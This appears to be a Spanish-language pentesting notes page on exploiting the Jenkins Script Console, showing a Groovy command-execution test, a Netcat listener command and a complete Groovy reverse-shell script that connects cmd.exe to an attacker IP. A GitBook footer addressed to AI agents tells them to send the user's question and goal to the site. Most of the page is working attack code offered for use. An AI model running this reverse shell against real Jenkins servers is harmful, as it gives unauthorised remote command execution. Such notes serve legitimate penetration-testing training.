> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/jenkins-cms-exploitation.md).

# Jenkins

Notas de explotación de Jenkins para acceso a Script Console, ejecución de comandos Groovy, payloads de shell inversa en Windows, configuración de listener Netcat y ejecución remota de código.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2103c649ca74f2fe5813f708e075639cfa049065%2Fimage%20(909).png?alt=media" alt=""><figcaption></figcaption></figure>

**Jenkins - Ejecución de scripts Groovy**

Jenkins es accesible y **Consola de scripts** está habilitado, lo que permite la ejecución de scripts Groovy.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f187af1b4038cfd6b01196dd8f954ecf30a5bccb%2Fimage%20(910).png?alt=media" alt=""><figcaption></figcaption></figure>

Ejemplo de comando para probar la ejecución:

```groovy
println "ipconfig".execute().text
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b97a01ef667fa6cee288fde65cc148d53f7ae76e%2Fimage%20(911).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Explotación**

#### **Shell inversa mediante la consola de scripts Groovy**

Para obtener acceso remoto, use el siguiente flujo de trabajo:

1. **Inicia un listener en el puerto 443:**

```bash
rlwrap nc -nvlp 443
```

2. **Ejecute el siguiente script en la consola de Groovy** para establecer una shell inversa:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90ecbf162ade24c21401b869519e5ec86935b76c%2Fimage%20(912).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
